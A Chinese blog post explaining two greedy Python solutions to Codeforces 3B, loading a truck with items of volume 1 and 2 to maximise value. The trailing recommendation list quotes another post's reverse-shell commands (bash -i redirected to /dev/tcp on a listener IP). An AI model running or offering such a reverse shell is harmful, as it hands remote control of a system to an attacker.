有货车运量V;有若干物品A 占2单位体积,有若干物品B占1单位体积;相同种类的物品价值不一定一样;

序号按照输入顺序而定;问货车可以拉走最多多少价值的物品,并输出所选物品的序号;

1)常规的解法思路:贪心,先把A填到不能填,然后再补B,补完B后再考虑用B去替换前面A,此策略必定最优;考虑到B物品的可补行!因为涉及变量较多,时刻注意A,B,空余V的数量关系;代码如下:

n,v = map(int,input().split())
l1 = []
l2 = []
for i in range(n):
    t,x = map(int,input().split())
    if t == 1:
        l1.append([x,i+1])
    else:
        l2.append([x,i+1])
l1.sort(reverse=True)
l2.sort(reverse=True)

s1 = [0]
s2 = [0]
for i in range(min(v,len(l1))):
    s1.append(s1[-1]+l1[i][0])
for i in range(min(int(v/2),len(l2))):
    s2.append(s2[-1]+l2[i][0])
ans = 0
num = 0
# print(s1)
# print(s2)
for i in range(min(v,len(l1))+1):
    # print(t)
    t = s1[i]+s2[min(len(l2),int((v-i)/2))]
    if ans < t:num,ans=i,t

print(ans)
for i in range(num):print(l1[i][1],end=' ')
for i in range(min(len(l2),int((v-num)/2))):print(l2[i][1],end=' ')

2)另外一个思路是:引入第3个因素:价值密度,不分AB只按密度大小填充。如果刚好填满,结束。否则只可能是填的最后一个是B(B0)导致超出1个体积。此时查找填充队列中的最后一个A(A0),和剩下的密度最大A(A1).

甲)A0+A1>B0:去掉B0,填入A1:相反则去掉A0.结束。

乙)A0不存在A1存在:填入A1.结束。

丙)A0存在A1不存在:比较A0和B0的价值,谁小去掉谁.结束。

丁)A0、A1都不存在:去掉B0.结束。

n,p =map(int,input().split())
a=[0]*n
for i in range(n):
   t,v=map(int,input().split())
   a[i]=(i,t,v)
a.sort(key=lambda x:x[2]/x[1],reverse=True)

ans,index,lst=0,0,[]
last1=(-1,0)
while p>0 and index<n:
   i,t,v=a[index]
   if t==1:last1=(i,v)
   p-=t
   ans+=v
   lst.append(i)
   index+=1
   
if p==-1: #p==-1 and t==2
   now=(i,v)
   while t==2 and index<n:
      i,t,v=a[index]
      index+=1
   if last1[0]>-1 and t==1: #exist 1 in lst and later
      if v+last1[1]<now[1]:#swapcase->pop last1
         ans-=last1[1]
         lst.remove(last1[0])
      else:
         ans=ans-now[1]+v
         lst.remove(now[0])
         lst.append(i)
   elif last1[0]>-1 and t==2: #exist 1 in lst only
      if last1[1]<now[1]:
         ans-=last1[1]
         lst.remove(last1[0])
      else:
         ans-=now[1]
         lst.remove(now[0])
   elif t==1 and last1[0]==-1: #exist 1 in later only
      ans=ans-now[1]+v
      lst.remove(now[0])
      lst.append(i)
   else:
      ans-=now[1]
      lst.remove(now[0])
print(ans)
for i in lst:print(i+1,end=' ')

codeforces 3b之贪心算法的更多相关文章

  1. 贪心算法(Greedy Algorithm)

    参考: 五大常用算法之三:贪心算法 算法系列:贪心算法 贪心算法详解 从零开始学贪心算法 一.基本概念: 所谓贪心算法是指,在对问题求解时,总是做出在当前看来是最好的选择.也就是说,不从整体最优上加以 ...

  2. 算法导论----贪心算法,删除k个数,使剩下的数字最小

    先贴问题: 1个n位正整数a,删去其中的k位,得到一个新的正整数b,设计一个贪心算法,对给定的a和k得到最小的b: 一.我的想法:先看例子:a=5476579228:去掉4位,则位数n=10,k=4, ...

  3. LEETCODE —— Best Time to Buy and Sell Stock II [贪心算法]

    Best Time to Buy and Sell Stock II Say you have an array for which the ith element is the price of a ...

  4. ACM_ICPC hdu-2111(简单贪心算法)

    一道非常简单的贪心算法,但是要注意输入的价值是单位体积的价值,并不是这个物品的总价值!#include <iostream> #include <stdio.h> #inclu ...

  5. 基于贪心算法的几类区间覆盖问题 nyoj 12喷水装置(二) nyoj 14会场安排问题

    1)区间完全覆盖问题 问题描述:给定一个长度为m的区间,再给出n条线段的起点和终点(注意这里是闭区间),求最少使用多少条线段可以将整个区间完全覆盖 样例: 区间长度8,可选的覆盖线段[2,6],[1, ...

  6. 增强学习贪心算法与Softmax算法

    (一) 这个算法是基于一个概率来对探索和利用进行折中:每次尝试时,以概率进行探索,即以均匀概率随机选取一个摇臂,以的概率进行利用,即以这个概率选择当前平均奖赏最高的摇臂(如有多个,则随机选取). 其中 ...

  7. 【九度OJ】题目1434贪心算法

    题目 本题的贪心算法策略需要深入思考一下 看到题目,最初没有理解题目的要求:看尽量多的完整的节目.尽量多是指数量多,自己理解成观看的时间最长.这样想其实简化了这道题. 正确理解题意后,首先想到的想法是 ...

  8. 题目1437:To Fill or Not to Fill:贪心算法解决加油站选择问题(未解决)

    //贪心算法解决加油站选择问题 //# include<iostream> # include<stdio.h> using namespace std; # include& ...

  9. 贪心算法(Greedy Algorithm)之最小生成树 克鲁斯卡尔算法(Kruskal&#39;s algorithm)

    克鲁斯卡尔算法(Kruskal's algorithm)是两个经典的最小生成树算法的较为简单理解的一个.这里面充分体现了贪心算法的精髓.大致的流程能够用一个图来表示.这里的图的选择借用了Wikiped ...

随机推荐

  1. linux启动httpd服务出现 Could not reliably determine the server`s fully qualified domain name.

    安装好apache启动httpd服务时,出现httpd: Could not reliably determine the server's fully qualified domain name,  ...

  2. 反弹shell以及端口转发的方法收集

    Bash bash -i >& /dev/tcp/192.168.1.142/80 0>&1 exec 5<>/dev/tcp/192.168.1.142/80 ...

  3. HackerRank-Python攻城歷程-3.List( Find the Second Largest Number )

    if __name__ == '__main__': n = int(input()) arr = map(int, input().split()) print(sorted(list(set(ar ...

  4. 读书笔记--《编写高质量代码:改善Python程序的91个建议》

      第一章 引论 建议写Pythonic式的代码,我理解为充分利用pythonAPI,用最简洁方式写出代码 1.两个变量交换: a, b = b, a 2.翻转list: a = [1, 2, 3, ...

  5. Vue-admin工作整理(十八):Mock的使用方法

    # Mock简明文档           ## Mock.mock()           - Mock.mock( requestUrl?, requestType?, template|funct ...

  6. [爬虫进阶]使用Jsoup取代你的一切网络请求方法(java,post,get,代理IP)

    [爬虫进阶]使用Jsoup取代你的一切网络请求方法(java,post,get,代理IP) 原文链接:https://www.cnblogs.com/blog5277/p/9334560.html 原 ...

  7. php安全开发(1)文件包含漏洞

    开发过程总结的漏洞: 一,,如何造成包含漏洞:在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶 ...

  8. 小账本APP——软件项目风险管理及解决办法案例

    小账本APP——软件项目风险管理及解决办法案例 摘要 软件项目风险是指在软件开发过程中遇到的预算和进度等方面的问题以及这些问题对软件项目的影响.软件项目风险会影响项目计划的实现,如果项目风险变成现实, ...

  9. vuex 改变状态值得命名问题

    今天在做vuex的状态的时候 发现了个奇葩的问题,后面解决了,在改变状态的值得时候 传值的名称 不要和定义的状态的名称值相同,要不然会报错,如图所示 也就是password的名称不能相同,要不监测不到 ...

  10. Mittag-Leffer函数, Matlab内部函数

    Mittag-Leffer函数: $E_{\alpha,\beta}(x) = \sum\limits^{\infty}_{k=0} \frac{x^k}{ \Gamma( \alpha k + \b ...